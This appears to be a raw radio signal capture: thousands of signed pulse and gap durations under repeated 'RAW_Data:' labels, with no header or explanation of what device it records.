-3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 1801 -1400 3395 -1400 1801 -1400 1795 -1394 1797 -3002 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 3395 -3002 3393 -1402 1799 -3002 1797 -1394 -RAW_Data: 3397 -1402 1799 -1402 1799 -7326 2401 -2060 4155 -2504 3723 -2690 3661 -2838 3421 -3010 3411 -3002 3401 -3002 3401 -3002 3403 -2994 3401 -3002 3401 -2996 3393 -2994 3401 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -3004 1799 -1398 1795 -1402 1801 -1400 3401 -3004 3393 -1400 1801 -2994 3401 -3004 1795 -1394 3397 -1402 1799 -1402 1799 -1398 1791 -3000 3401 -3002 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3002 3403 -1396 1791 -3000 3401 -3004 1799 -1398 1791 -1398 3601 -4120 1733 -2886 3559 -2960 3351 -3094 3255 -3044 3421 -3010 3401 -3006 3407 -3002 3393 -3002 3393 -3004 3401 -3002 3393 -3002 3395 -3002 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -2998 1801 -1400 1801 -1398 1791 -1398 3401 -3002 3403 -1400 1795 -2992 3401 -3002 1801 -1400 3403 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -2994 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3393 -1402 1801 -3002 3393 -3002 1801 -1396 3399 -5588 365 -1116 2145 -3134 3189 -3190 3395 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -3002 3401 -2998 3405 -2996 3393 -1400 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 1801 -1396 3391 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -2992 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 -RAW_Data: 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 3401 -3002 3393 -1402 1795 -3000 3401 -3002 3393 -3004 3593 -3932 2743 -2594 3595 -3002 3393 -3002 3395 -3002 3401 -2994 3401 -2996 3401 -3002 3401 -2994 3403 -2994 3401 -2994 3403 -2998 3405 -2994 3393 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -3000 1799 -1402 1799 -1402 1801 -1400 3401 -2996 3401 -1400 1797 -2990 3403 -3002 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 3393 -3004 3401 -1396 1793 -2998 3401 -3004 3401 -1396 1793 -7038 2817 -3032 3167 -3182 3385 -2996 3393 -2994 3401 -3002 3399 -3006 3393 -2994 3403 -2994 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3407 -1404 1795 -1394 1793 -1398 1799 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3395 -3002 3401 -1398 1795 -3002 3403 -2994 3401 -3002 1801 -1396 1793 -1398 1799 -1402 1801 -1400 3401 -3004 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -1402 1795 -2990 3403 -1400 1801 -3002 1801 -1396 3591 -4298 1767 -2654 3559 -2912 3513 -2914 3491 -2868 3443 -3022 3417 -3002 3407 -3006 3393 -3002 -RAW_Data: 3393 -3002 3403 -2994 3407 -3004 3395 -2994 3399 -1404 1795 -1394 1797 -1400 1801 -1400 1801 -1396 1793 -2998 1801 -1400 1801 -1402 1795 -1398 3401 -3006 3399 -1400 1795 -2992 3401 -3002 3403 -2994 1799 -1402 1801 -1396 1791 -1398 3403 -3002 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -3002 3395 -1396 1797 -3002 3407 -1404 1795 -2992 3401 -3400 1713 -1100 3677 -3172 3377 -2982 3187 -3190 3393 -2996 3401 -2994 3401 -3002 3395 -3002 3399 -3004 3393 -2996 3401 -3002 3393 -3002 3395 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -2998 1801 -1402 1799 -1398 1791 -1398 3401 -3002 3403 -1400 1795 -2992 3401 -3002 3403 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 3401 -3002 3403 -1396 1791 -3000 3401 -1402 1799 -1402 1795 -3000 3801 -1120 181 -920 553 -1654 1653 -3052 3481 -2942 3489 -2908 3299 -3120 3335 -3164 3175 -3182 3389 -2996 3393 -3002 3401 -2996 3393 -3002 3401 -2994 3403 -3002 3393 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -3002 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 3403 -3006 1599 -1592 1789 -1398 3401 -3004 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 -RAW_Data: 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3401 -1398 1797 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -3402 1057 -3748 1469 -3298 3149 -3174 3175 -3190 3393 -2994 3395 -3002 3393 -3002 3403 -3002 3393 -3002 3399 -3004 3395 -2994 3401 -2994 3403 -2994 3401 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3395 -1400 1801 -3002 3401 -2994 3403 -2994 1799 -1402 1801 -1400 3393 -3004 3393 -3002 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -3002 3393 -1402 1801 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 3601 -3262 435 -874 1833 -3302 3235 -3018 3405 -3002 3407 -2998 3393 -3002 3393 -3002 3399 -3006 3393 -2994 3403 -3002 3393 -3002 3393 -3008 3397 -3002 3393 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -3002 1801 -1402 1799 -1402 1801 -1396 3403 -3004 3395 -1396 1793 -2998 3401 -3004 3401 -2994 1801 -1400 1795 -1394 3399 -1400 1801 -3002 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1801 -1400 3401 -2994 3403 -1396 1797 -1400 1801 -3002 1795 -1396 1795 -1402 3401 -7588 1923 -3068 3393 -2994 3403 -2994 3407 -3004 3399 -2998 3393 -2994 3393 -3004 3401 -2994 3401 -3002 3403 -2994 3393 -3002 3403 -2998 3409 -1400 1789 -1394 1795 -1402 1801 -1400 -RAW_Data: 1801 -1400 1797 -2998 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3403 -1400 1801 -2994 3407 -2996 3395 -3002 1795 -1394 1797 -1400 3401 -1402 1801 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 3401 -3002 3401 -1398 1791 -1398 1801 -3002 1801 -1400 3401 -2996 3607 -1728 833 -1396 2303 -2880 3581 -2986 3391 -2994 3393 -3002 3395 -3002 3401 -2998 3405 -2996 3393 -2994 3401 -3002 3403 -2994 3401 -3002 3395 -3002 3393 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3407 -1400 1791 -2992 3401 -3002 3407 -2998 1795 -1394 3389 -3002 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 3407 -2996 3395 -1400 1795 -1398 1801 -3002 1801 -1400 3395 -1400 1801 -7606 1737 -3220 3235 -3022 3417 -3002 3407 -3004 3403 -2994 3401 -2994 3407 -3006 3393 -2994 3393 -3004 3401 -2994 3393 -3002 3403 -3002 3393 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3407 -1400 1789 -2990 3401 -3002 3403 -3002 1799 -1398 3389 -3002 1801 -1402 3401 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 -RAW_Data: 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3401 -1402 1795 -1394 1797 -3002 3401 -3002 1801 -1398 4195 -1886 1105 -442 1765 -3046 3269 -3160 3341 -3122 3291 -3112 3319 -3140 3163 -3176 3185 -3190 3391 -2994 3393 -2998 3411 -2998 3393 -3002 3393 -3004 3393 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 3401 -2994 3401 -1402 1795 -2992 3401 -3002 3401 -3004 1795 -1394 3397 -3002 3401 -3004 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 3401 -3002 3407 -1400 1791 -1394 1797 -3002 3401 -3002 3395 -5516 1583 -3012 3489 -2910 3305 -3120 3337 -3164 3173 -3186 3191 -3190 3399 -3004 3395 -2994 3401 -2994 3403 -2994 3401 -2994 3401 -3004 3393 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -3002 1801 -1400 1795 -1394 1797 -1402 3405 -3006 3393 -1402 1795 -2992 3401 -3002 3401 -3002 1797 -1394 3397 -3002 3407 -1404 1795 -2992 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 3401 -3002 3401 -1398 1791 -1398 1801 -3002 3401 -1398 1795 -3002 3595 -3624 415 -206 2483 -2414 3585 -3002 3401 -2994 3401 -3004 3393 -2994 3401 -3002 3403 -2998 3411 -2996 3395 -2994 3393 -3002 3393 -3004 3401 -2994 3401 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 3407 -3004 3399 -1400 1789 -2990 3403 -3002 3401 -3002 1795 -1394 3403 -1404 1795 -2992 1801 -1400 1801 -1400 1801 -1402 1795 -1394 -RAW_Data: 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 3389 -3004 3401 -1400 1801 -1402 1799 -2994 3403 -1400 1795 -1398 1801 -8014 1843 -2840 3389 -2994 3403 -2994 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -2994 3401 -2994 3407 -3006 3393 -2994 3401 -2998 3399 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 3405 -3006 3393 -1398 1791 -3000 3405 -3006 3393 -2994 1801 -1398 3389 -1402 1799 -3002 3403 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 3401 -2994 3401 -1398 1795 -1402 1801 -1400 1801 -2994 1801 -1400 1801 -1400 3395 -4724 1853 -2864 3547 -2976 3181 -3186 3391 -2994 3393 -2994 3407 -3006 3399 -2996 3399 -2998 3393 -3002 3399 -3006 3393 -2994 3401 -2994 3403 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1396 3391 -3002 3401 -1402 1799 -3004 3393 -3002 3401 -2994 1801 -1402 3393 -1400 1797 -1398 1799 -3002 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 -RAW_Data: 1799 -1402 1799 -1402 1795 -1398 1801 -1400 3403 -2994 3401 -1402 1795 -1398 1801 -1400 1801 -3002 1795 -1394 3397 -5708 365 -1470 9113 -1824 3823 -2614 3609 -3002 3403 -3002 3401 -3002 3401 -2994 3403 -3002 3393 -3002 3399 -3006 3393 -2994 3401 -3004 3393 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3393 -1402 1801 -3002 3393 -3006 3397 -2996 1799 -1398 3397 -1402 1799 -1402 1799 -1398 1791 -3000 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 3397 -3002 3407 -1404 1795 -1394 1791 -1398 1801 -3002 3401 -2996 3601 -1690 629 -2154 1905 -2832 3651 -2830 3423 -3006 3401 -3002 3401 -3002 3395 -3002 3401 -3002 3395 -3002 3405 -2998 3393 -2996 3401 -3002 3407 -2996 3395 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1797 -3002 1801 -1400 1795 -1394 1797 -1402 3401 -3002 3401 -1402 1795 -2996 3409 -2998 3393 -2994 3403 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 3401 -3002 3393 -1402 1799 -1398 1791 -1398 1801 -3002 3401 -1402 1795 -3600 639 -3748 1839 -2644 3729 -2756 3567 -2982 3391 -2990 3393 -2994 3403 -3002 3401 -2994 3401 -2994 3403 -3002 3393 -3002 3403 -2994 3393 -3002 3401 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1797 -1400 1801 -1400 3401 -3004 3397 -1404 1797 -2990 3403 -3002 3405 -2998 3393 -2996 1799 -1398 1795 -1402 3401 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 -RAW_Data: 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 